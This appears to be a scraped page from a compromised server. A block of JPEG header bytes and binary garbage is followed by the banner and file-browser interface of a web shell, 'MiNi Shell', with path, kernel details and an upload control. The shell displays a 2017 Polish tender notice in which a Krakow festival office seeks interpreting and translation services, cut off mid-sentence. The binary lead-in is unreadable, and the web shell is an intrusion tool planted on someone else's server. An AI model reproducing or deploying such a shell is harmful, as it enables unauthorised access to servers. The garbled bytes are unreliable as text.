JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/common/web/tenders/20170209/

Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/common/web/tenders/20170209/22870-N-2017.html

<BR/><p>Adres strony internetowej, na której zamieszczona będzie specyfikacja istotnych warunków zamówienia (jeżeli dotyczy):  </p><a class='base announcementNumber' href='http://www.biurofestiwalowe.pl' target='_blank'>http://www.biurofestiwalowe.pl</a><br/><hr class='linkedItemsSeparator' /><div class="divRow_xforms"><div>
              Ogłoszenie nr 22870 - 2017
              z dnia 2017-02-09 r.
            </div><div class="headerMedium_xforms" style="text-align: center">Kraków: Usługi tłumaczenia na potrzeby Krakowskiego Biura Festiwalowego w 2017 roku
Część 1 zamówienia Tłumaczenia ustne
Część 2 zamówienia Tłumaczenia pisemne
<br />
            OGŁOSZENIE O ZAMÓWIENIU -
            
              Usługi
            </div><div><b>Zamieszczanie ogłoszenia:</b>
              obowiązkowe
            </div><div><b>Ogłoszenie dotyczy:</b>
              zamówienia publicznego
            </div><div><b>Zamówienie dotyczy projektu lub programu współfinansowanego ze środków Unii Europejskiej </b><br /><div style="padding-left: 20px">
                nie
              </div><br /><b>Nazwa projektu lub programu</b><br /></div><div><b>O zamówienie mogą ubiegać się wyłącznie zakłady pracy chronionej oraz wykonawcy, których działalność, lub działalność ich wyodrębnionych organizacyjnie jednostek, które będą realizowały zamówienie, obejmuje  społeczną i zawodową integrację osób będących członkami grup społecznie marginalizowanych </b><br /><div style="padding-left: 20px">
                nie
              </div><br />
            Należy podać minimalny procentowy wskaźnik zatrudnienia osób należących do jednej lub więcej kategorii, o których mowa w art. 22 ust. 2 ustawy Pzp, nie mniejszy niż 30%, osób zatrudnionych przez zakłady pracy chronionej lub wykonawców albo ich jednostki (w %)
            <br /></div><div class="headerLarge_xforms" style="text-align: left"><u>SEKCJA I: ZAMAWIAJĄCY</u></div><div style="padding-left: 20px"><b>Postępowanie przeprowadza centralny zamawiający </b><br /><div style="padding-left: 20px">
                nie
              </div><b>Postępowanie przeprowadza podmiot, któremu zamawiający powierzył/powierzyli przeprowadzenie postępowania </b><br /><div style="padding-left: 20px">
                nie
              </div><b>Informacje na temat podmiotu któremu zamawiający powierzył/powierzyli prowadzenie postępowania:</b><br /><b>Postępowanie jest przeprowadzane wspólnie przez zamawiających</b><br /><div style="padding-left: 20px">
                nie
              </div><br />
            Jeżeli tak, należy wymienić zamawiających, którzy wspólnie przeprowadzają postępowanie oraz podać adresy ich siedzib, krajowe numery identyfikacyjne oraz osoby do kontaktów wraz z danymi do kontaktów:
            <br /><br /><b>Postępowanie jest przeprowadzane wspólnie z zamawiającymi z innych państw członkowskich Unii Europejskiej </b><br /><div style="padding-left: 20px">
                nie
              </div><b>W przypadku przeprowadzania postępowania wspólnie z zamawiającymi z innych państw członkowskich Unii Europejskiej  mające zastosowanie krajowe prawo zamówień publicznych:</b><br /><b>Informacje dodatkowe:</b><br /></div><div style="padding-left: 20px;"><div style="text-align: left"><b>I. 1) NAZWA I ADRES: </b>Krakowskie Biuro Festiwalowe, krajowy numer identyfikacyjny
              35121004000000, ul.
              ul. Wygrana 
              2,
              30311  
              Kraków, woj.
              małopolskie, państwo
              Polska, tel.
              12 354 25 00, e-mail
              abylinska@biurofestiwalowe.pl; pwawszczak@biurofestiwalowe.pl, faks
              12 354 25 01.
              <br />
              Adres strony internetowej (URL): www.biurofestiwalowe.pl<br /><br /></div><div style="text-align: left"><b>I. 2) RODZAJ ZAMAWIAJĄCEGO: </b>
                Inny: Gminna instytucja kultury</div><div style="text-align: left"><b>
                I.3) WSPÓLNE UDZIELANIE ZAMÓWIENIA <i>(jeżeli dotyczy)</i>:
              </b><div style="padding-left: 20px">
                Podział obowiązków między zamawiającymi w przypadku wspólnego przeprowadzania postępowania, w tym
                w przypadku wspólnego przeprowadzania postępowania z zamawiającymi z innych państw członkowskich Unii Europejskiej (który z zamawiających jest odpowiedzialny za przeprowadzenie postępowania, czy i w jakim zakresie za przeprowadzenie postępowania odpowiadają pozostali zamawiający, czy zamówienie będzie udzielane przez każdego z zamawiających indywidualnie, czy zamówienie zostanie udzielone w imieniu i na rzecz pozostałych zamawiających):
                <br /></div></div><div style="text-align: left"><b>
                I.4) KOMUNIKACJA:
              </b><br /><b>Nieograniczony, pełny i bezpośredni dostęp do dokumentów z postępowania można uzyskać pod adresem (URL)</b><div style="padding-left: 20px">
                  tak
                <br />www.biurofestiwalowe.pl</div><br /><b>Adres strony internetowej, na której zamieszczona będzie specyfikacja istotnych warunków zamówienia </b><div style="padding-left: 20px">
                  tak
                <br />www.biurofestiwalowe.pl</div><br /><b>Dostęp do dokumentów z postępowania jest ograniczony - więcej informacji można uzyskać pod adresem </b><div style="padding-left: 20px">
                  nie
                <br /></div><br /><b>Oferty lub wnioski o dopuszczenie do udziału w postępowaniu należy przesyłać:</b><br /><b>Elektronicznie</b><div style="padding-left: 20px">
                  nie
                <br />
                adres
                <br /></div><br /><div style="padding-left: 20px"><b>Dopuszczone jest przesłanie ofert lub wniosków o dopuszczenie do udziału w postępowaniu w inny sposób:</b><br />
                  nie
                <br /><b>Wymagane jest przesłanie ofert lub wniosków o dopuszczenie do udziału w postępowaniu w inny sposób:</b><br />
                  tak
                  <br />
                  Inny sposób:
                  <br />Oferty można składać wyłącznie w formie pisemnej<br />
                Adres:
                <br />ul. Wygrana 2, 30-311 Kraków</div><br /><b>Komunikacja elektroniczna wymaga korzystania z narzędzi i urządzeń lub formatów plików, które nie są ogólnie dostępne</b><div style="padding-left: 20px">
                  nie
                <br />
                Nieograniczony, pełny, bezpośredni i bezpłatny dostęp do tych narzędzi można uzyskać pod adresem: (URL)
                <br /></div></div></div><div class="headerLarge_xforms" style="text-align: left"><u>
              SEKCJA II: PRZEDMIOT ZAMÓWIENIA
            </u></div><div style="padding-left: 20px;"><div style="text-align: left"><br /><b>II.1) Nazwa nadana zamówieniu przez zamawiającego: </b>Usługi tłumaczenia na potrzeby Krakowskiego Biura Festiwalowego w 2017 roku
Część 1 zamówienia Tłumaczenia ustne
Część 2 zamówienia Tłumaczenia pisemne
<br /><b>Numer referencyjny: </b>DP-271-2/2017<br /><b>Przed wszczęciem postępowania o udzielenie zamówienia przeprowadzono dialog techniczny </b><br /><div style="padding-left: 20px; text-align: justify">
                  nie
                </div><br /><b>II.2) Rodzaj zamówienia: </b>
                usługi
              <br /><b>II.3) Informacja o możliwości składania ofert częściowych</b><br />
              Zamówienie podzielone jest na części:
              <br /><div style="padding-left: 20px">
                  Tak
                  <br /><b>Oferty lub wnioski o dopuszczenie do udziału w postępowaniu można składać w odniesieniu do:</b><br />
                    wszystkich części
                  <br /></div><br /><br /><b>
                II.4) Krótki opis przedmiotu zamówienia
              </b><i>(wielkość, zakres, rodzaj i ilość dostaw, usług lub robót budowlanych lub określenie zapotrzebowania i wymagań )</i><b> a w przypadku partnerstwa innowacyjnego - określenie zapotrzebowania na innowacyjny produkt, usługę lub roboty budowlane:
              </b>1. Przedmiotem zamówienia jest świadczenie usług tłumaczeń pisemnych i ustnych na potrzeby Zamawiającego. Zamówienie składa się z dwóch części. 
2. Część 1 zamówienia zatytułowana Tłumaczenia ustne obejmuje tłumaczenia ustne symultaniczne (z wykorzystaniem kabin i odpowiedniej aparatury) i konsekutywne konferencji/spotkań/debat/paneli/briefingów z języka polskiego na języki obce (angielski, niemiecki, francuski, włoski, hiszpański, rosyjski) oraz z języków obcych (angielski, niemiecki, francuski, włoski, hiszpański, rosyjski) na język polski. Szczegółowy opis przedmiotu zamówienia zawiera załączniku nr 1A do specyfikacji istotnych warunków zamówienia (SIWZ). 
3. Część 2 zamówienia zatytułowana Tłumaczenia pisemne obejmuje tłumaczenia zwykłe i uwierzytelnione z języka polskiego na języki obce (angielski, niemiecki, francuski, włoski, hiszpański, rosyjski) oraz z języków obcych (angielski, niemiecki, francuski, włoski, hiszpański, rosyjski) na język polski. Szczegółowy opis przedmiotu zamówienia zawiera załącznik nr 1B do SIWZ.
4. Zamawiający dopuszcza składanie ofert częściowych. Wykonawca może złożyć ofertę na jedną lub na wszystkie części zamówienia.
<br /><br /><b>II.5) Główny kod CPV: </b>79540000-1<br /><b> Dodatkowe kody CPV:</b>79530000-8<br /><b>
                II.6) Całkowita wartość zamówienia </b><i>(jeżeli zamawiający podaje informacje o wartości zamówienia)</i>:
              
              <br />
              Wartość bez VAT:
              <br />
              Waluta:
              <br /><div style="padding-left: 20px"><br /><i>(w przypadku umów ramowych lub dynamicznego systemu zakupów  szacunkowa całkowita maksymalna wartość w całym okresie obowiązywania umowy ramowej lub dynamicznego systemu zakupów)</i></div><br /><b>
                II.7)
                Czy przewiduje się udzielenie zamówień, o których mowa w art. 67 ust. 1 pkt 6 i 7  lub w art. 134 ust. 6 pkt 3  ustawy Pzp:
              </b>
                tak
                <br />
                Określenie przedmiotu, wielkości lub zakresu oraz warunków na jakich zostaną udzielone zamówienia, o których mowa w art. 67 ust. 1 pkt 6 lub w art. 134 ust. 6 pkt 3 ustawy Pzp:
                Zamawiający przewiduje udzielanie zamówień, o których mowa w art. 67 ust. 1 pkt 6 ustawy Prawo zamówień publicznych. Zamówienia dotyczyć będą świadczenia odpowiednio usług tłumaczeń pisemnych lub ustnych. Udzielanie tych zamówień odbywać się będzie w oparciu o odrębną w stosunku do zamówienia podstawowego umowę zawieraną w trybie zamówienia z wolnej ręki z wykonawcą wybranym w danej części w niniejszym postępowaniu. Umowa będzie mogła być zawarta w okresie 3 lat od dnia udzielenia zamówienia podstawowego.<br /><b>II.8) Okres, w którym realizowane będzie zamówienie lub okres, na który została zawarta umowa ramowa lub okres, na który został ustanowiony dynamiczny system zakupów:</b><div style="padding-left: 20px">
                    data zakończenia: 31/03/2018<br /></div><div style="padding-left: 20px">
                    data zakończenia: 31/03/2018<br /></div><br /><b>II.9) Informacje dodatkowe: </b>Każda z części zamówienia będzie realizowana:
1) od dnia zawarcia umowy, jednak nie wcześniej niż od dnia 1 kwietnia 2017 roku
2) do wyczerpania łącznego wynagrodzenia należnego wykonawcy, jednak nie dłużej niż do dnia 31 marca 2018 roku

</div></div><div class="headerLarge_xforms" style="text-align: left"><u>
              SEKCJA III: INFORMACJE O CHARAKTERZE PRAWNYM, EKONOMICZNYM, FINANSOWYM I TECHNICZNYM
            </u></div><div style="padding-left: 20px;"><div style="text-align: left"><b>
                III.1) WARUNKI UDZIAŁU W POSTĘPOWANIU
              </b><br /><div style="padding-left: 20px"><b>III.1.1) Kompetencje lub uprawnienia do prowadzenia określonej działalności zawodowej, o ile wynika to z odrębnych przepisów</b><br />
                Określenie warunków:
                <br />
                Informacje dodatkowe
                <br /><b>III.1.2)  Sytuacja finansowa lub ekonomiczna  </b><br />
                Określenie warunków:
                <br />
                Informacje dodatkowe
                <br /><b>III.1.3) Zdolność techniczna lub zawodowa </b><br />
                Określenie warunków:
                a) minimalne warunki dotyczące doświadczenia w zakresie części 1 zamówienia: wykonawca wykonał lub w przypadku świadczeń okresowych lub ciągłych wykonuje w okresie ostatnich trzech lat przed upływem terminu składania ofert, a jeżeli okres prowadzenia działalności jest krótszy  w tym okresie, co najmniej 2 usługi, polegające na świadczeniu usług w zakresie tłumaczeń ustnych (konsekutywnych lub symultanicznych) z języka polskiego na języki obce lub z języków obcych na język polski. Każda usługa musi być wykonana na kwotę co najmniej 40.000,00 zł brutto. W ramach każdej z usług wykonawca musi wykazać wykonanie tłumaczenia ustnego (konsekutywnego lub symultanicznego) co najmniej 4 konferencji/spotkań/debat/paneli/ briefingów z zakresu kultury, sztuki, literatury, teatru, muzyki, turystyki, historii, reklamy, filmu, biznesu, z wyłączeniem tłumaczeń o tematyce religijnej i medycznej. Poprzez 1 usługę Zamawiający rozumie usługę tłumaczeń ustnych (konsekutywnych lub symultanicznych) z języków obcych na język polski lub z języka polskiego na języki obce, realizowaną dla jednego podmiotu na podstawie jednej umowy lub na podstawie kilku umów pod warunkiem, że realizacja tych umów stanowiła jedną funkcjonalną całość.

b) minimalne warunki dotyczące doświadczenia w zakresie części 2 zamówienia: wykonawca wykonał, a w przypadku świadczeń okresowych lub ciągłych wykonuje w okresie ostatnich trzech lat przed upływem terminu składania ofert, a jeżeli okres prowadzenia działalności jest krótszy  w tym okresie, co najmniej 2 usługi, polegające na świadczeniu usług w zakresie pisemnych tłumaczeń (zwykłych lub uwierzytelnionych) z języków obcych na język polski i z języka polskiego na języki obce tekstów z zakresu kultury, sztuki, literatury, teatru, muzyki, turystyki, historii, reklamy, filmu, biznesu, z wyłączeniem publikacji dla dzieci i publikacji o tematyce religijnej i medycznej. Każda usługa musi być wykonana co najmniej na kwotę 70.000,00 zł brutto. Poprzez 1 usługę Zamawiający rozumie usługę tłumaczeń pisemnych (zwykłych lub uwierzytelnionych), z języków obcych na język polski lub z języka polskiego na języki obce, realizowaną dla jednego podmiotu na podstawie jednej umowy lub na podstawie kilku umów, pod warunkiem, że realizacja tych umów stanowiła jedną funkcjonalną całość

c) minimalne warunki dotyczące osób skierowanych przez wykonawcę do realizacji części 1 zamówienia:
- z / na język angielski: co najmniej 12 tłumaczy, w tym 6 osób posiadających doświadczenie w zakresie tłumaczeń konsekutywnych - każdy tłumacz w ciągu ostatnich trzech lat przed ogłoszeniem postępowania wykonał tłumaczenie co najmniej 3 konferencji/spotkań/debat/paneli/briefingów z zakresu kultury, sztuki, literatury, teatru, muzyki, turystyki, historii, reklamy, filmu, biznesu, z wyłączeniem tłumaczeń o tematyce religijnej i medycznej; 6 osób posiadających doświadczenie w zakresie tłumaczeń symultanicznych - każdy tłumacz w ciągu ostatnich trzech lat przed ogłoszeniem postępowania wykonał tłumaczenie co najmniej 3 konferencji/spotkań/debat/paneli/ briefingów z zakresu kultury, sztuki, literatury, teatru, muzyki, turystyki, historii, reklamy, filmu, biznesu, z wyłączeniem tłumaczeń o tematyce religijnej i medycznej;
- z / na język niemiecki co najmniej 3 tłumaczy, w tym 1 osoba posiadająca doświadczenie w zakresie tłumaczeń konsekutywnych, która w okresie ostatnich trzech lat przed ogłoszeniem postępowania wykonała tłumaczenie co najmniej 3 konferencji/spotkań/debat/paneli/ briefingów z zakresu kultury, sztuki, literatury, teatru, muzyki, turystyki, historii, reklamy, filmu, biznesu, z wyłączeniem tłumaczeń o tematyce religijnej i medycznej; 2 osoby posiadające doświadczenie w zakresie tłumaczeń symultanicznych - każdy tłumacz w ciągu ostatnich trzech lat przed ogłoszeniem postępowania wykonał tłumaczenie co najmniej 3 konferencji/spotkań/debat/paneli/ briefingów z zakresu kultury, sztuki, literatury, teatru, muzyki, turystyki, historii, reklamy, filmu, biznesu, z wyłączeniem tłumaczeń o tematyce religijnej i medycznej;
- z / na język francuski co najmniej 3 tłumaczy, w tym 1 osoba posiadająca doświadczenie w zakresie tłumaczeń konsekutywnych, która w okresie ostatnich trzech lat przed ogłoszeniem postępowania wykonała tłumaczenie co najmniej 3 konferencji/spotkań/debat/paneli/briefingów z zakresu kultury, sztuki, literatury, teatru, muzyki, turystyki, historii, reklamy, filmu, biznesu, z wyłączeniem tłumaczeń o tematyce religijnej i medycznej; 2 osoby posiadające doświadczenie w zakresie tłumaczeń symultanicznych - każdy tłumacz w ciągu ostatnich trzech lat przed ogłoszeniem postępowania wykonał tłumaczenie co najmniej 3 konferencji/spotkań/debat/paneli/ briefingów z zakresu kultury, sztuki, literatury, teatru, muzyki, turystyki, historii, reklamy, filmu, biznesu, z wyłączeniem tłumaczeń o tematyce religijnej i medycznej;
- z / na język włoski co najmniej 3 tłumaczy, w tym 1 osoba posiadająca doświadczenie w zakresie tłumaczeń konsekutywnych, która w okresie ostatnich trzech lat przed ogłoszeniem postępowania wykonała tłumaczenie co najmniej 3 konferencji/spotkań/debat/paneli/ briefingów z zakresu kultury, sztuki, literatury, teatru, muzyki, turystyki, historii, reklamy, filmu, biznesu, z wyłączeniem tłumaczeń o tematyce religijnej i medycznej; 2 osoby posiadające doświadczenie w zakresie tłumaczeń symultanicznych - każdy tłumacz w ciągu ostatnich trzech lat przed ogłoszeniem postępowania wykonał tłumaczenie co najmniej 3 konferencji/spotkań/debat/paneli/ briefingów z zakresu kultury, sztuki, literatury, teatru, muzyki, turystyki, historii, reklamy, filmu, biznesu, z wyłączeniem tłumaczeń o tematyce religijnej i medycznej;
- z / na język hiszpański co najmniej 3 tłumaczy, w tym 1 osoba posiadająca doświadczenie w zakresie tłumaczeń konsekutywnych, która w okresie ostatnich trzech lat przed ogłoszeniem postępowania wykonała tłumaczenie co najmniej 3 konferencji/spotkań/debat/paneli/ briefingów z zakresu kultury, sztuki, literatury, teatru, muzyki, turystyki, historii, reklamy, filmu, biznesu, z wyłączeniem tłumaczeń o tematyce religijnej i medycznej; 2 osoby posiadające doświadczenie w zakresie tłumaczeń symultanicznych - każdy tłumacz w ciągu ostatnich trzech lat przed ogłoszeniem postępowania wykonał tłumaczenie co najmniej 3 konferencji/spotkań/debat/paneli/ briefingów z zakresu kultury, sztuki, literatury, teatru, muzyki, turystyki, historii, reklamy, filmu, biznesu, z wyłączeniem tłumaczeń o tematyce religijnej i medycznej;
- z / na język rosyjski co najmniej 3 tłumaczy, w tym 1 osoba posiadająca doświadczenie w zakresie tłumaczeń konsekutywnych, która w okresie ostatnich trzech lat przed ogłoszeniem postępowania wykonała tłumaczenie co najmniej 3 konferencji/spotkań/debat/paneli/ briefingów z zakresu kultury, sztuki, literatury, teatru, muzyki, turystyki, historii, reklamy, filmu, biznesu, z wyłączeniem tłumaczeń o tematyce religijnej i medycznej; 2 osoby posiadające doświadczenie w zakresie tłumaczeń symultanicznych - każdy tłumacz w ciągu ostatnich trzech lat przed ogłoszeniem postępowania wykonał tłumaczenie co najmniej 3 konferencji/spotkań/debat/paneli/ briefingów z zakresu kultury, sztuki, literatury, teatru, muzyki, turystyki, historii, reklamy, filmu, biznesu, z wyłączeniem tłumaczeń o tematyce religijnej i medycznej;

d) minimalne warunki dotyczące osób skierowanych przez wykonawcę do realizacji części 2 zamówienia:
- język angielski: co najmniej 5 tłumaczy, w tym 1 osoba o uprawieniach tłumacza przysięgłego oraz posiadającą co najmniej pięcioletnie doświadczenie zawodowe w zakresie wykonywania tłumaczeń przysięgłych języka angielskiego; 1 osoba z wykształceniem wyższym (prawo lub filologia angielska lub inny kierunek ze specjalizacją w dziedzinie translatoryki języka angielskiego - studia drugiego stopnia lub studia podyplomowe), posiadającą co najmniej pięcioletnie doświadczenie w zakresie tłumaczenia tekstów prawnych lub prawniczych, w tym w szczególności umów lub porozumień z/na język angielski; 2 osoby z wykształceniem wyższym (filologia angielska lub inny kierunek ze specjalizacją w dziedzinie translatoryki języka angielskiego - studia drugiego stopnia lub studia podyplomowe), która przetłumaczyła z/na język angielski co najmniej 5 publikacji powyżej 3.000 znaków każda, zawartych w wydawnictwach opatrzonych numerem ISSN lub ISBN, dotyczących kultury, sztuki, literatury, teatru, muzyki, turystyki, historii, reklamy, filmu, biznesu, z wyłączeniem publikacji dla dzieci i publikacji o tematyce religijnej i medycznej; 1 osoba będącą native speakerem języka angielskiego, mającą wykształcenie wyższe, która współpracowała przy tłumaczeniu pisemnym z/na język angielski co najmniej 5 tekstów powyżej 3.000 znaków każdy, zawartych w wydawnictwach opatrzonych numerem ISSN lub ISBN, dotyczących kultury, sztuki, literatury, teatru, muzyki, turystyki, historii, reklamy, filmu, biznesu, z wyłączeniem publikacji dla dzieci i publikacji o tematyce religijnej i medycznej;
- język francuski: co najmniej 3 tłumaczy, w tym 1 osoba o uprawieniach tłumacza przysięgłego oraz posiadającą co najmniej pięcioletnie doświadczenie zawodowe w zakresie wykonywania tłumaczeń przysięgłych języka francuskiego; 1 osoba z wykształceniem wyższym (filologia romańska lub inny kierunek ze specjalizacją w dziedzinie translatoryki języka francuskiego - studia drugiego stopnia lub studia podyplomowe), która przetłumaczyła z/na język francuski co najmniej 5 publikacji powyżej 3.000 znaków każda, zawartych w wydawnictwach opatrzonych numerem ISSN lub ISBN, dotyczących kultury, sztuki, literatury, teatru, muzyki, turystyki, historii, reklamy, filmu, biznesu, z wyłączeniem publikacji dla dzieci i publikacji o tematyce religijnej i medycznej; 1 osoba będącą native speakerem języka francuskiego, mającą wykształcenie wyższe, która współpracowała przy tłumaczeniu pisemnym z/na język francuski co najmniej 5 tekstów powyżej 3.000 znaków każdy, zawartych w wydawnictwach opatrzonych numerem ISSN lub ISBN, dotyczących kultury, sztuki, literatury, teatru, muzyki, turystyki, historii, reklamy, filmu, biznesu, z wyłączeniem publikacji dla dzieci i publikacji o tematyce religijnej i medycznej;
- język niemiecki: co najmniej 4 tłumaczy, w tym 1 osoba o uprawieniach tłumacza przysięgłego oraz posiadającą co najmniej pięcioletnie doświadczenie zawodowe w zakresie wykonywania tłumaczeń przysięgłych języka niemieckiego; 1 osoba z wykształceniem wyższym (prawo lub germanistyka lub inny kierunek ze specjalizacją w dziedzinie translatoryki języka niemieckiego - studia drugiego stopnia lub studia podyplomowe), posiadającą co najmniej pięcioletnie doświadczenie w zakresie tłumaczenia tekstów prawnych lub prawniczych, w tym w szczególności umów lub porozumień z/na język niemiecki; 1 osoba z wykształceniem wyższym (germanistyka lub inny kierunek ze specjalizacją w dziedzinie translatoryki języka niemieckiego - studia drugiego stopnia lub studia podyplomowe), która przetłumaczyła z/na język niemiecki co najmniej 5 publikacji powyżej 3.000 znaków każda, zawartych w wydawnictwach opatrzonych numerem ISSN lub ISBN, dotyczących kultury, sztuki, literatury, teatru, muzyki, turystyki, historii, reklamy, filmu, biznesu, z wyłączeniem publikacji dla dzieci i publikacji o tematyce religijnej i medycznej; 1 osoba będącą native speakerem języka niemieckiego, mająca wykształcenie wyższe, która współpracowała przy tłumaczeniu pisemnym z/na język niemiecki co najmniej 5 tekstów powyżej 3.000 znaków każdy, zawartych w wydawnictwach opatrzonych numerem ISSN lub ISBN, dotyczących kultury, sztuki, literatury, teatru, muzyki, turystyki, historii, reklamy, filmu, biznesu, z wyłączeniem publikacji dla dzieci i publikacji o tematyce religijnej i medycznej;
- język włoski: co najmniej 3 tłumaczy, w tym 1 osoba o uprawieniach tłumacza przysięgłego, posiadająca co najmniej pięcioletnie doświadczenie zawodowe w zakresie wykonywania tłumaczeń przysięgłych języka włoskiego; 1 osoba z wykształceniem wyższym (filologia włoska lub inny kierunek ze specjalizacją w dziedzinie translatoryki języka włoskiego - studia drugiego stopnia lub studia podyplomowe), która przetłumaczyła z/na język włoski co najmniej 5 publikacji powyżej 3.000 znaków każda, zawartych w wydawnictwach opatrzonych numerem ISSN lub ISBN, dotyczących kultury, sztuki, literatury, teatru, muzyki, turystyki, historii, reklamy, filmu, biznesu, z wyłączeniem publikacji dla dzieci i publikacji o tematyce religijnej i medycznej; 1 osoba będąca native speakerem języka włoskiego, mającą wykształcenie wyższe, która współpracowała przy tłumaczeniu pisemnym z/na język włoski co najmniej 5 tekstów powyżej 3000 znaków każdy, zawartych w wydawnictwach opatrzonych numerem ISSN lub ISBN, dotyczących kultury, sztuki, literatury, teatru, muzyki, turystyki, historii, reklamy, filmu, biznesu, z wyłączeniem publikacji dla dzieci i publikacji o tematyce religijnej i medycznej;
- język hiszpański: co najmniej 3 tłumaczy, w tym 1 osoba o uprawieniach tłumacza przysięgłego, posiadająca co najmniej pięcioletnie doświadczenie zawodowe w zakresie wykonywania tłumaczeń przysięgłych języka hiszpańskiego; 1 osoba z wykształceniem wyższym (iberystyka lub filologia hiszpańska lub inny kierunek ze specjalizacją w dziedzinie translatoryki języka hiszpańskiego - studia drugiego stopnia lub studia podyplomowe), która przetłumaczyła z/na język hiszpański co najmniej 5 publikacji powyżej 3.000 znaków każda, zawartych w wydawnictwach opatrzonych numerem ISSN lub ISBN, dotyczących kultury, sztuki, literatury, teatru, muzyki, turystyki, historii, reklamy, filmu, biznesu, z wyłączeniem publikacji dla dzieci i publikacji o tematyce religijnej i medycznej; 1 osoba będąca native speakerem języka hiszpańskiego, mającą wykształcenie wyższe, która współpracowała przy tłumaczeniu pisemnym z/na język hiszpański co najmniej 5 tekstów powyżej 3.000 znaków każdy, zawartych w wydawnictwach opatrzonych numerem ISSN lub ISBN, dotyczących 